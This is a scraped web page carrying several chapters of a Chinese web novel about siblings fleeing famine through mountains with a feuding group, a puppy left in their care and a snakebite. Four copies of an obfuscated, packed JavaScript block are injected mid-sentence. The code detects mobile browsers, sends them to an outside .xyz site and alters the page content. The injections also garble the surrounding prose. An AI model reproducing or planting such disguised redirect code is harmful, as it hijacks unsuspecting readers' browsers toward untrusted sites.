江诚一把扑过来,搂住江夏脖子,“阿姐,吓死我了!我还以为我要死了,再也看不到你了呢!” “不会的,有阿姐在,不会让你死的。”江夏轻轻拍打着他的后背。 “阿姐,是有人……推我……”江诚趴在她耳边,轻声说道。 江夏拍抚他后背的手停顿了一瞬,又继续轻柔的动作:“我知道,阿姐知道。” 江夏清楚推他的人是谁,江诚也知道,可是他们却不能直接说出来,毕竟一旦和他们闹崩了,他们姐弟二人如何从这森林中走出去。 可是江夏不明白她做这件事的目的是什么?是因为周大的死,心里不痛快,还是在记恨她当时没有救下周大? 可不管哪个原因,都不是她去害江诚的原因啊? 周大的死不是她导致的,她也很难过,她也努力尝试去救下他,只是没有成功。 “还好吧,阿诚?”李木几人围了上来,见江诚醒来,担忧地问道。 “这路滑,走路可得当心点。要不是小夏反应快,你早被冲走了!” “嗯,我知道了,对不起,让你们担心了。”江诚歉意的说道。并没有说出有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周二脸色煞白,喉结滚动了几下,终究没能再辩驳。 说服不了林氏,也自觉亏欠她,不愿与她再起争执,颓然地垂下头,说了句“出发吧”,就背着东西,脚步沉重地往前走去。 李木看了眼林氏,也转身跟在他身后走了。 林氏冷冷看着他的背影,后又低下头,摸了摸儿子子安的头,低声对他说:“子安,你记住,是他们对不起我们娘俩儿,这是他们欠我们的……” 子安仰头看着自己母亲,虽然并不明白她所说的话是什么意思,但还是用力地点了点头。 再次启程,江夏用了一条腰带将两人的手绑在一起,互相搀扶着从溪边绕过去。 “大嫂……咱、咱们也走吧……”刘老三犹豫地对着林氏说道。 他素来胆小,不太敢和周大他们进山打猎,平日里就留在营地和林氏搭伙做饭。林氏待人温和,二人相处还算是融洽。可现在的林氏却让他有些害怕。 林氏又恢复之前的沉默,低头拉着子安的手,绕过他往前走。 刘老三松了口气,也赶紧跟上。 原本的直路被暴涨改道的溪流截断,众人不得不被迫绕路远行,一路上众人沉默不语,只埋头沿着溪流往南走。 日头越爬越高,众人的影子在脚下缩成小小的一团。 “哒——哒——哒” 草丛里传来奇怪的响动,像是有什么东西在小心翼翼地靠近。 声音很轻,应该不是大型猛兽,可也不像是人类的脚步声。 原本准备休息的众人,立刻拿起武器,戒备地盯着声音的来源。 “哗啦——” 草丛一阵剧烈晃动,一条通体漆黑的大狗突然蹿了出来。它嘴里还叼着一只同样漆黑的小狗,琥珀色的眼睛扫过眼前众人,然后顿住,尾巴高高扬起…… 31. 千里托孤 只见那黑狗叼着小狗崽冲着江夏的方向跑来,江诚立刻站到江夏前面,生怕它会像之前带崽的野猪一样攻击他们。 可那狗就像认得江夏一般,跑到她面前后,将狗崽放到一边,蹭蹭她的裤腿。 “来福?”江夏迟疑地喊道。 她记忆中唯一认识的黑狗,就只有宋阿奶家的来福。可眼前这只黑狗,皮毛干涩打绺,皮下肋骨根根分明,最刺目的就是那干瘪的□□,无力的垂坠在腹下,随着它踉跄奔近的步伐左右晃荡。 这哪里是她记忆中那皮毛黑亮顺滑,精瘦结实的来福?! 听到自己的名字,那狗立马更加兴奋的蹭她,尾巴在身后欢快的摇摆。 “还真是来福啊!”江夏这是真惊到了,蹲下身,揉着来福的狗头,“你怎么会来这里啊?宋阿奶不是说你不愿离开家吗?” 这里离宋阿奶家隔着十几里的山路,它怎么会一条狗跑这么远,不会是宋阿奶家出啥事了吧? 可惜来福不会说话,没有办法回答江夏的问题。 在享受了一番江夏的按摩后,它转头将那小狗崽叼了过来,放在江夏面前,还用前爪不停的扒拉着它,把它往江夏身边赶。 江夏的目光落在小狗崽身上,比起半个月前在宋阿奶家初见时,小家伙明显长大了不少,圆滚滚,肉嘟嘟的,和旁边干瘪饥瘦的来福放在一起,形成鲜明对比。 “你……你是想要让我带着它?”江夏看着来福不确定的问道。 “汪!”来福叫了一声,点点头,用鼻尖抵住小狗,将它往她面前推了推。 “小夏,这是咋回事?”被来福吸引过来的刘老三问道:“这狗你认识?” 不止刘老三好奇,其他人同样好奇的看着江夏,目光在江夏和两条黑狗身上逡巡。 “它是宋阿奶家的狗,叫来福。宋阿奶就是之前给我们馒头的那人。” 听到江夏说出“宋阿奶”时,林氏脑海中模糊的记忆也变得清晰。当时她就觉得这狗比寻常的狗更机灵些,颇有些灵性。 “哦。”大家恍然大悟,“那这离得有些远了,这狗咋跑这里来了?” 这少说也得十几里山路了吧,还带着个这么小的崽子。 “可能……是来将它的孩子托付给我……” 当时宋阿奶想让她把这小狗崽带走,她没同意,因为小狗太小,需要来自母体的营养。 当时来福就躺在一旁看着她们讨论,她完全不知道,当时来福竟然听懂了。 在孩子断奶后,竟然不顾危险追了过来,将孩子交给她…… 江夏说出口,自己都很是不可置信,更不要说其他人了。一个个嘴都张得能塞下一个鸡蛋了。 “这还是狗吗?这是神犬了吧……”刘老三喃喃道。 林氏却像是被蜜蜂蛰了一般,立刻喊道:“谁知道她说的真的假的,可能就是从村里逃了出来,碰巧遇到了。这瘦的没三两肉的狗,也配叫神犬!” 说着,又瞥了眼江夏:“一个神仙还不够,还要再给自己找个神犬吗?真有神仙,我们还要在这大山里饿着肚子赶路吗?” 林氏的话再次让气氛陷入冰点,刘老三也自觉自己无心的一句话又触到了林氏的霉头,赶紧讪讪地闭上嘴巴。 “周大婶说的是。这就一普通的狗,不过是比寻常畜生更懂得些“知恩图报”罢了。”江夏眼神平静地看着林氏,嘴角甚至还挂着一抹微笑。 “估计它是感念我当时对宋阿奶的一点援手,认定我是个能托付的,这才拼了命把崽子送来。说到底,不过是畜生的一点赤诚心性,哪里称得上是神犬呢?” 江夏语气平淡,林氏却像是被踩了尾巴的猫,猛地拔高嗓门,“你……你少在这里阴阳怪气!” “到底是谁在阴阳怪气,大家心知肚明。” 江夏实在是受够了林氏的处处针对。周大的死是个意外,她问心无愧。在救治周大时,她也竭尽全力,毫无保留。 若真要说她有什么不对的,或许就是她无意中营造的“神仙”形象,让林氏产生了不切实际的幻想,误以为她可以起死回生。 可是人死了就是死了。这条逃难路,谁没亲人去世? 就说李木,全家死的就剩他一个,逃难路是走了一遭又一遭。刘老三、周二同样孤家寡人一个——周二更是亲眼目睹自己大哥为救他丧命,他心中的悲痛一点儿不比林氏轻。 林氏好歹还有个儿子子安,她不为着孩子着想,振作起来,反而一直盯着她不放。 甚至还将江诚推落水中,险些害了他的性命…… 狗都知道感念别人的好意,这几天,大家顾及着她心情不好,处处忍让,可她倒好,不见好就收就罢了,还得寸进尺。 “你!”林氏憋了半天,只能气急败坏地指着江夏脚边的狗崽说道:“你要想养这畜生?行啊!不过丑话说在前头,大家的口粮都是勒紧裤腰带省出来的,可不能浪费在畜生身上!你要养,就自己想法子给它找食儿去,别想沾大家的光!” “不劳周大婶费心了。”江夏语气依旧平静,却带了一丝疏离的冷漠,“我自己的狗,自然由我自己负责。” 粮食短缺,她本也不打算占用大家辛苦寻来的食物。既然和林氏已经撕破脸面,那分开也就是早晚的事儿了,提早划清界限也是好事,免得她又闹出啥幺蛾子。 “这……小夏,你不要冲动。不就是条小狗崽吗?大家匀一口,总能养活的,你没必要说这种话。” 队伍刚失了主心骨大哥,再闹分裂,这前路怎么走?可他又不敢说林氏,怕又惹得她不快,只盼着江夏能顺着台阶下。 “周二叔,我不是没有成算的人,现在你受着伤,估计一时半会儿也没有办法猎到动物。我们现在吃的,都是一些野菜,在大山里随处,这一点我完全可以做到。” 江夏对着周二笑笑,“而且,只是说狗狗的食物不用你们负责,我也没说要分开啊,周二叔,你不要太担心了。” 周二这人哪里都好,就是缺了点周大的魄力,心太软,总想着面面俱到,反而容易被裹挟。 不过林氏有一句话说得没错,人心亲疏,本就如此。 她江夏的心很小,只装的下真心待她之人。至于其他人,是好是坏,是冷是热,她懒得去计较。 之前,她也以为和林氏也算有了几分患难的情谊,可如今看来,倒是她自作多情了。既如此,便当……陌路吧。 周二见她心意已决,也没再说什么,只心里想着,要是她真找不到食物,他再帮她就好了。 林氏看着江夏这丝毫不慌的表情,心中更是气恼。 既然有自信找到食物,为什么之前不找?现在周大死了,队伍里没了领头的人了,她就想跑出来想要表现自己的与众不同,好顶了周大的位置吗? 对于林氏心中的想法,江夏是不清楚的,她从自己带着的陶罐里倒了些水在竹筒里,递到来福和小狗面前。 因为暴雨,她的薄荷叶早就用完了,现在的就只是煮沸后的雨水。 估计来福奔波好久了,那小狗看到有水,立刻趴在前面,大口喝着。 来福等它喝完,才过去喝。江夏怕它不够,又往里添了点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797831|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她也想给点吃的给来福,可搜遍全身,也找不出它能吃的东西,只能作罢。 来福也没想在这里多待,喝了点水,就掉头准备返回。 小狗跟在它身后嘤嘤的叫着,迈着小短腿想要跟它一起走,却被来福一声大叫,呵斥住,蔫头耷脑,委屈地走回江夏身边。 来福看着它走回江夏身边后,头也不回的朝着林中奔去,转眼就消失不见,只有那嘤嘤叫着的小狗证明它来过。 江夏将小狗抱起来,这狗胆子不小,初次见面,就对着江夏的手一顿舔,丝毫不怕生。 软软的舌头舔在手背上,痒痒麻麻,却又让人打从心底里觉得开心。 “阿姐,要给它取个名字吗?” 江诚也伸手摸了摸小狗的脑袋,毛绒绒,软乎乎的。 “要取的。”江夏盯着小狗的脸仔细看着,圆圆的脸上最醒目的就是那额头的一点白毛,“像二郎神……” “二郎神?这是它的名字吗?好奇怪啊。” “不是,我随口说的,你有什么想法吗?”江夏问。 “嗯……我看人家都是根据它的毛色取名的,像大黄,小白,不如叫它小黑吧。” “小黑?”江夏读了一遍,还挺顺口的,就是“会不会太普通了?不够霸气?” “霸气?”听到他们姐弟俩在商量给狗取名的事,刘老三也坐了过来,“一条狗,你还想要多霸气的名字?” “三哥,你刚才不还说来福是神,犬吗?神犬的孩子怎么能是普通的狗呢?” 刘老三听她又说起这事,吓得想伸手捂住她的嘴,回头望向林氏,发现她没有看这边,这才稍稍松了口气。 “你快吓死我了。你知道周大嫂刚发了火,你还敢提?!” “她发火了,我为什么不敢提?” “行行行,我说不过你,接着说取名的事。”刘老三讨饶。 江夏也没再逗她,她不介意和林氏闹掰,但显然其他人还不太想。 “我想给它取个既霸气,又有寓意的名字,三哥,你有什么主意吗?” “狗取啥名字,养时间久了,它就认得你了,你不叫它,它也过来了。” 江夏想到刘老三的原名,觉得从他这里也得不出什么好的灵感,就决定自己想。 “辛巴?玄夜?黑麟?天狼?……” 江夏每想一个,就叫它一声,想看看它会对哪个名字感兴趣。可等她搜肠刮肚,将自己想到的名字都叫了一遍,它却毫无反应。 “小黑?”江诚也学着江夏叫了一声,可同样毫无反应。 突然江诚灵机一动,“来福?” 那小狗立马竖起耳朵,抬头看着他,轻叫了一声。 “这是你妈妈的名字,不是你的。” 江夏轻轻拍了拍它脑袋。小狗不明白,还以为江夏和它玩,又叫了一声。 “既然你对你妈妈的名字,记忆深刻,那就叫福崽吧。你是来福的崽,希望它的福气可以给你一点,让你平安长大。” “福崽。” “汪!” “福崽。” “汪!” 一人一狗聊得很是开心。 “阿姐,要给福崽吃些什么吗?”江诚在一旁问道。 江夏咬着嘴唇思索道:“嗯……估计也就只能吃些肉糜,米汤之类的吧。” 江诚闻言立刻垮下脸,用难以置信的眼神瞪着她。江夏见状,扑哧笑出声,伸手揉了揉他的头发,“哎呀,别这副表情嘛。米汤是没有,但肉糜还是可以弄到的。待会儿我们就去河边,捞些鱼虾给福崽做肉糜。” 32. 钓鱼达人 不过这里河流湍急,不好捕鱼,得往下游走,看能不能遇到水流平缓些的,到那里放下些鱼篓,应该可以捞到些鱼虾回来。 趁着歇脚的功夫,江夏先把可能用到的东西准备好。 她取出一根竹篾,用柴刀仔细地劈成细条,再在火上烤弯,最后将一头削尖,这样就做成了简易的鱼钩了。 鱼钩准备好,就要准备鱼饵。去树下,腐叶多的地方挖些蚯蚓。 也多亏了连日的暴雨,泥土松软,一挖能挖出好多。 看着用叶子包着的蚯蚓,红的黑的,缠绕在一起,江夏鸡皮疙瘩都出来了。 用草绳将叶子绑起来,就丢给江诚拿着了。 众人沿着溪岸走了许久,才走到一处水流相对平缓的河湾。岸边堆积着许多被冲下来的树枝和杂草,这处水域较为宽广,水面也有所回落,但水色依旧浑浊,不过比起上游来说,已经好了许多。 李木和刘老三按照周二的指导,将鱼篓扔在小溪中央,再用两根树枝插在竹篓的缝隙中,将它固定住,防止被水冲走。 见江夏和江诚也拿了一个小鱼篓在岸边徘徊,李木开口说道:“这里石头滑,把鱼篓给我,我帮你们下到中间去。” 江夏摇摇头:“不用了李木哥,我们去其他地方试试,都下一块儿,怕是也捞不到多少。” 她心里盘算着,既然决定要自己负责福崽的伙食,就不能总依赖着别人。自己要求也不多,只要能捞到一条鱼够福崽今晚吃就行了。 这……应该不难吧? 又沿着河道往下游走了一段,江夏看到一处乱石区,这里水流被嶙峋的石头分割成数道细流,速度明显比刚才要慢上许多。 “就这儿吧。” 将用叶子包着的蚯蚓分出一小半出来,剩下的接着包住扔进鱼篓里,然后又往里放上几块石头。 “我们再做两个钓竿。”江夏说着,用草绳将竹针绑在长树枝上,穿上蚯蚓作饵。 “你在这儿看着钓竿,我去附近找些野菜,千万别乱跑,等我回来。” 至于福崽,江夏倒是想交给江诚,可考虑到江诚自己还是个孩子,再带一个小奶狗在水边,实在不安全,想想还是自己带走了。 福崽也乖,被江夏抱在怀里一动不动,只眼睛滴溜溜的看着周围的景色。 等到江夏采摘野菜时,它就站在一旁看着她。雨后的山林格外丰饶,不一会儿她的背篓就装满了野菜和蘑菇。 阳光透过树叶洒在她面前的地上,她看到一丛红艳艳的刺泡果。 这果子酸酸甜甜的,算是他们在这大山中为数不多的小甜嘴了。 不仅江诚和子安这俩小孩儿爱吃,就是他们这些大人也爱吃。 想到这里,江夏就将这一丛的刺泡果一个不留的全摘了。 转头看到正昂着个小脑袋的福崽,江夏想到它妈妈来福的聪明劲儿,就试着将一把刺泡果放到它面前,“这是好吃的果子,记住了吗?下次看见要告诉我哦。” 可福崽哪里懂得这些,见江夏将果子放在它面前,也毫不客气的吃了起来。 “哎,哎!”江夏阻拦不及,一把果子就进了福崽肚子里。 江夏气得拍了它一巴掌,“啥都吃,你也不怕死!” 这边江夏正训着福崽,就听到溪边传来江诚兴奋的喊叫声,江夏心头一紧,随即又听到李木的声音,这才放下心来,接着寻摸着有没有其他果子。 回到溪边的时候,不止李木在,刘老三也在,三人正围着什么兴奋地说着话。 “阿姐!”江诚看见江夏,立刻跑过来拉住她的手,“快看我们钓了多少鱼!” 江夏伸头往竹篓里一看,“嚯,好多啊!” 竹篓里银光闪闪,竟有二十多条鱼在扑腾! 江夏惊讶地睁大眼睛,转头不可置信的看着江诚,“这些都是你钓到的?” “嗯!”江诚用力地点点头,小脸上满是自豪,“这两个鱼竿可忙死我了,刚下竿就有鱼上钩,我就不停的收鱼,穿鱼饵,收鱼,穿鱼饵。要不是李木哥他们来帮忙,我手都要废了。”说着揉了揉发酸的手腕。 “而且,阿姐你留的鱼饵都不够用,还是三哥又去挖了些,不然也是钓不到这么多的。” 刘老三也开口说道:“小夏,你是不知道,阿诚钓鱼可是一把好手,同样的鱼饵,同样的鱼钩,我们俩下的就没有鱼上钩,就阿诚,一下一个准。真是神了。” 他们刚才在旁边的山里准备爬树摸些鸟蛋,好晚上加餐的。听到江诚的大叫声,生怕他出啥事,就赶紧跑来了,来了之后,就看见他不停的下竿收竿,可把他们俩羡慕坏了,还以为是这里鱼多,结果他们俩钓了半天都不见鱼上钩,反而,江诚一下一个准。 看着江诚亮闪闪的眼睛,江夏忍不住揉了揉他的脑袋:“你才是神仙吧,上辈子怕不是小鱼仙官,这辈子才这么招鱼喜欢。” “真的吗?”江诚一脸高兴的说,“那我以后也能和阿姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807892|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一起是吗?我们不会分开的对吗?” 是不是神仙,江诚不在乎,但大家都说阿姐是神仙,所以他也想成为神仙,即使小鱼仙官他并不知道是什么神官,但是神仙他就很满足了。 “是啊,你才是小神仙,阿姐我啊,是沾了你的光。” 江诚笑容灿烂。 “小夏,你们这鱼篓要收了吗?” 李木和刘老三同样很是兴奋,没想到这里的鱼这么多,早知道他们也把鱼篓下在这里了。看到江诚一条接一条的收鱼,他们很是羡慕,虽然这些食物最终也是大家一起分享,但他们也想尝尝丰收的喜悦。 现在他们很好奇,这鱼篓里能收到多少的东西。 江夏想了想,“先放着吧,这些鱼够今晚吃的了。明天早上来收,说不定能有更多的收获。” 他们一听,觉得也是,这里这些已经够他们吃的了,再多也的确浪费。 “走,回去,告诉大家这个好消息,今晚我们能够大吃一顿了,全都吃烤鱼!” 拎着装满鱼获的竹篓,风风火火地走回去。 路上刘老三搂着江诚,“阿诚,早知道你钓鱼这么厉害,之前我们就带你一起捕鱼去了,这样,我们就不缺鱼吃了。” 面对刘老三的夸奖,江诚也有些不好意思,挠挠头,“可能就是幸运吧,我也没做啥。” “你就是啥都没做就钓了这么多的鱼,所以才厉害啊。以后啊,我们就靠你吃饭了。” 吓得江诚连连摆手,“不行、不行的,我这是碰巧,当不得真的。” 当晚,烤鱼的香味飘在上空。林氏也破天荒地没说什么难听话,默默帮着处理了鱼获,大家吃了一顿平静美味的晚食。 江夏又用陶罐炖了两条鱼,仔细挑出鱼刺后喂给福崽。小家伙吃得肚皮滚圆,还眼巴巴地望着她手中的烤鱼,惹得江夏又好气又好笑。 第二天天刚亮,几人就迫不及待地去收鱼篓。李木一拎就感觉沉甸甸的,和刘老三相视一笑。鱼篓里不止有鱼虾,还有好几只螃蟹和黄鳝,收获远超他们的预期。 “哈哈哈!这下我们好几天都不用愁吃的了。”晨光中,刘老三的笑声在山林中回荡。 之后的几天,江诚再次验证了他的钓鱼能力,虽然比不得第一次接连不断的上钩,但基本还是只要下饵,都会有收获。 江诚的钓鱼小达人的名号算是坐实了,之后的路只要遇到小溪,李木他们都会叫上江诚去钓鱼,也算是另一种收获。 33. 到达岐州 清晨,林中薄雾未散。 江夏迷迷糊糊中感到自己脸上传来一阵温热湿润的触感,还伴随着细微的绒毛扫过皮肤的痒意。她猛一睁开眼,对上福崽那双湿漉漉的黑眼睛。 “福崽!”江夏一个激灵坐起身,抬手抹了把脸,掌心是黏糊糊的口水。 福崽跟着他们的时间越长,就越黏人,每天早上都要提供它独特的叫醒服务。 江夏佯装生气的瞪着福崽,作势就要打它。 江诚连忙将福崽抱到怀里,捏着它的脸说道:“不可以舔阿姐的脸,知道吗?”说完,还装模作样的在它面前挥舞着自己的小拳头,“不然阿姐就会这样揍你哦!” 江夏在江诚脑袋上轻轻拍了一巴掌,“光打它,没打你是吧?就是你把它宠坏的,一点规矩都没有了。” 看到江诚捂着脑袋委屈地看着自己,江夏笑笑转身准备打水洗漱。 可她刚转身,还没走几步,就听到身后传来一声短促的惊叫,转头看去,就见林氏正单脚站立,另一只脚悬在半空,脸上满是震惊与嫌恶。 她的脚上赫然踩着一团黑褐色的粪便! 江夏心中顿觉不好,果然,林氏目光如刀子般射向江诚怀中的福崽,“又是你这只瘟狗!拉屎不会走远点,专门盯着我这边拉,是存心跟我过不去是不是?!” 这已经是连续第三天了。 他们在这大山里,又不是在城市里,要上厕所随便找个草丛蹲下也就上了。所以江夏一直也没想到要教它在哪里上厕所,更没有注意到它在哪里上的厕所。 而福崽在无人教导的条件下,不知何时养成了定时排便的习惯,却偏偏每次都选在林氏附近。 前天林氏早起发现自己旁边有狗屎,当时大家都以为是偶然,谁知昨天又出现一次。 江夏还特意饿了它一天作为惩罚,原以为今天不会再犯…… 这事确实是福崽的不对,江夏默默听着,没有反驳,只想着让她把这口气出了就算了。但林氏越骂越气,竟要动手打福崽,江诚赶紧抱着福崽跑开了。 “周大婶,实在对不住。”江夏快步上前,拦在江诚和福崽前面,“这事是福崽的不对,我给你赔不是。它还小经不起打,我再给你重新编双草鞋作为赔礼,你看这样行吗?” 其他人也纷纷围过来劝道:“大嫂,这小狗不懂事乱拉很正常,咱们在山里走,踩到动物粪便也是常事,就别太计较了……” 这些劝解非但没让林氏消气,反而火上浇油,“这能一样吗?那是不小心,可这小畜生分明是故意的!我们这里这么多人,它谁都不找,专找我这里拉屎撒尿,说没人教唆的,鬼才信!” “我真没教过它,它这么小哪里听得懂人话啊?” 江夏也很无奈。这福崽不知怎的,就认准了林氏,爱去她旁边拉屎,其他人那里都不去,但她可以对天发誓,她是真的从来没有教过它啊! 林氏不信,其他人信不信也未可知,但为了团队的和谐,他们也只能劝道:“是啊,大嫂,这狗这么小,就算想教也教不会啊!” “你们说不会就不会了?不是说这狗通人性,说不定她就有什么我们不知道的法子可以和它交流呢,不然它怎么会专找我?还不是因为心中对我不满,又不当面直说,才在背地里搞这些小把戏。” 众人一时语塞。林氏说得也是实话,不论她换到哪里,这狗就像盯上她似的,总要去她那儿方便。 江夏无语。林氏现在是,一边对她什么仙子转世的身份嗤之以鼻,另一边却又十分坚信她一定有不为人知的特异能力。 “我今天晚上就用绳子将它栓住,不让它到处乱跑,这样行吗?” “小夏说的也是个办法,总不能真将这小狗打死是吧?” “打死也是它活该!这世道人命都不值钱,何况它个畜生!” 听林氏一口一个“畜生”,江夏听不下去,直接拉着江诚转身洗脸去了。 路上,江诚双手托着福崽的前腿,将它举到自己面前,“你要乖乖的,别给阿姐惹麻烦了。” 福崽睁着圆溜溜的眼睛看着他,等他说完,轻轻“汪”了一声。 “好的,我们说好了哦!” 与福崽约定好后,江诚又转头看向江夏,“阿姐,周大婶为什么会突然这么讨厌我们啊?我还是喜欢之前的周大婶,要是周大叔他们还在就好了……” “她心里难过,想要发泄出来,只是她选择的发泄的对象是我们罢了。” “那她发泄完后,能变回之前的样子吗?” 江夏没有回答,反问他,“你不生气她之前将你推下水吗?” “生气!特别生气!可是……”说着,一张小脸整个皱了起来,“可是周大叔不在了,周大婶也天天板着张脸,子安他会很难过……” 他看到子安这些天总是抱着周大叔之前给他做的弓箭,不言不语,时不时还用手擦下自己的眼睛。 他想去安慰他,可子安却不愿意和他说话,每次见他走过去,都背过身不看他。 “阿诚,”江夏蹲在他面前看着他,“我知道你和子安关系好,也记着周大叔他们对我们的帮助。可你要记住,人各有命,你可以心疼子安,但别把别人的人生背在自己身上。我们只是普通人,没有办法对所有人的人生负责。 子安的人生,需要负责的是周大婶,再不济,还有周二叔。 从她推你下水的那一刻,我们和她……终归是走上了不同的路了……” 估计再走一个月左右,他们就能到达岐州境内,到那时,如果条件允许,她会带着江诚离开这支小队。 倒不是对其他人也有意见,只是因为周二和子安的存在,他们和林氏的关系远比和她亲密,真出啥事,他们估计也会优先考虑林氏和子安。 …… 洗漱后,简单吃了碗野菜汤,众人便又再次启程出发了。 越往南走,山路渐渐平缓,茂密的杂草几乎没过膝盖。江诚把福崽放进背篓,小家伙探出圆滚滚的脑袋,湿漉漉的鼻子不停地嗅着空气中的味道。 江夏走在他前面,不停的用棍子敲打着地上的杂草,既是为了开路,也是为了驱赶毒蛇之类的。 就这样一路走走停停,时间很快就来到了八月。 原本圆润如球的福崽已经瘦成了长条,饥一顿饱一顿的日子里,来福用奶水喂养出来的肉早已掉的差不多了,如果不是江诚偶尔钓上来一些鱼,估计它会瘦的更多。 虽然消瘦许多,福崽的体格仍在成长。像它母亲来福一样,这是个大骨架的狗。江诚现在已经很难再长时间抱着它,只能任它在地上奔跑。 此刻它正在草丛中欢快地打滚,沾了一身的草屑。而江夏一行人则正在采摘黄泡果。 这片山坡上长满了黄泡树,一人多高的枝条上挂满熟透的果实,像一盏盏小灯笼垂坠枝头,摘一把塞进嘴里,酸甜滋味顿时在舌尖绽放。 只是采摘时需要格外小心,那些枝条上密布的尖刺稍不留神就会扎破手指。 这个季节,林中不少野果都已成熟,虽然野果不能当饭吃,但至少能补充些糖分,算是为他们凄苦的逃难路增加一丝甜味。 因此每逢遇到果树,他们都会尽量多采摘些,留着路上充饥。 黄泡果虽多,但果实细小,加上枝条带刺,采摘起来相当费时。忙活了一个时辰,才勉强采了半筐。 江夏直起腰,活动了下酸痛的肩背。目光扫视间,看见江诚仍在埋头采摘,福崽乖乖守在一旁。 知道这个弟弟素来懂事不会乱跑,又有福崽跟着,应当不会出什么意外,她便准备继续干活。 就在这时,子安突然惊叫起来:“娘,有蛇!” 众人闻声围拢过去,只见子安脚踝处赫然留着两个渗血的牙印。 “子安!子安没事吧?” 江夏走过去站在后面,注意到子安的裤腿短了一截,脚踝裸露在外,这才被蛇咬到。 她连忙拉过江诚仔细打量。 这几个月的逃难生活让原本圆润的男孩消瘦不少,脸蛋变成了尖下巴,衬得眼睛愈发大了。不过比起子安,江诚的个头没怎么长,裤子倒还合身。 “估计是遗传吧,原主父母也不是多高的人。”江夏心想。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863962|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “阿姐怎么了?”江诚一脸困惑的看着自己阿姐,被咬的是子安,阿姐一直看着自己干什么? “没事。”江夏拍拍他肩膀,又转身去看子安。 周二已经俯身替子安吸出毒血。 江夏隐约记得被蛇咬后不宜用嘴吸毒,而是从伤口近心端压迫包扎。 但她终归不是医学生,对于很多急救知识也只是懂点皮毛,加上之前周大的死,话到嘴边的话又咽了回去。 尽管周二不断吸吐,子安的伤口仍开始发烫肿胀。男孩哭喊着抱住林氏:“娘,我会不会死?我不想死!” “不会的,娘不会让你有事。”林氏紧紧搂住儿子,声音发颤。 丈夫刚去世不久,现在儿子又遭此劫难,她不知为何不幸的一直是自己。想到这里,她不由抬头瞪向江夏,眼中满是怨毒。 那眼神让江夏心头一凛,下意识拉着江诚默默的又离她远了些。 “这是怎么了?”两个背着背篓,身着粗布麻衣的人用木棍剥开灌木走过来,一个老汉,一个青年。 “大老远就听到孩子的哭声了,这是发生什么了?”老汉探头一看,“呦,被蛇咬了。快把他放下,别抱着!” 林氏慌忙将子安平放在地上。 老汉走过去,仔细看了眼子安脚踝处的伤口:“嗐,没事。还好是土公蛇咬的,毒性不大。”说着从腰间皮囊里拿出一个纸包,打开,里面是些黄褐色药粉,“用这个撒他伤口上。” 听了这话,周二和林氏纷纷松了口气,林氏接过将药粉倒在子安伤口处,又撕了片叶子盖在伤口上,用布条绑住。 老汉坐在一旁,看着林氏处理伤口,“这土公蛇啊,毒性不强,这山里也有可以治伤的草药,只是你们都不认识,这才慌了神。” 周二:“我和我大哥也时常进山打猎,也知道一些草药,平时就蛇虫叮咬,跌打损伤之类的伤,也都会简单的处理,只是这一时没看到蛇利草,这才慌了。” 蛇利草,又叫半边莲,是普通百姓常用的“万能蛇药”。 “除了蛇利草,这大山里还有很多草药都可以用来处理蛇咬伤的。” 老汉说着从旁边拔了一株草,“这叫鬼针草,具有祛风除湿,清热解毒的功效。将它捣烂后敷在伤口处,也能缓解一二。” 林氏处理好子安的伤口,忙跪地对着老汉连连道谢:“大夫,谢谢你!” 老汉摆摆手,“我不是大夫,我们就是采药的,以在这大山里头找药为生。山里人被蛇咬是常事,因此懂得一些,称不上大夫。” 说罢,将那草丢进自己背着的背篓里,看到其他人看着自己的眼神,笑着解释道:“我们本就是采药人,遇到草药,哪有不带走的道理。这鬼针草虽不值几个钱,但要是量多,一斤也能卖个十文钱呢?要是会炮制,那价值更是翻一倍。” 这么值钱,那他们之前是错过了多少啊。不过转念一想,即使他们知道,这草药采摘了也不会炮制,只会白白浪费掉。 子安感觉自己的脚踝处火辣辣的痛感再减轻,也就渐渐止住了哭泣,乖乖躺着听他们说话。。 老汉看了他一眼,转头皱眉看向林氏,“你们带孩子进山,怎么不备些驱蛇药?孩子的裤腿都短了这么多,你都没注意?” 林氏面露窘迫,周大死后,她心神不宁,的确对儿子的照顾也减弱了。 周二开口替她解释道:“大叔,我们从延州一路逃过来的,驱蛇药也早就用完了,孩子个子在长,想换也没衣服换啊!” “延州?!”那老汉震惊,“你们竟一路从北地逃过来的?” “是啊。我们想着去岐州,看看能不能讨得一条活路。” 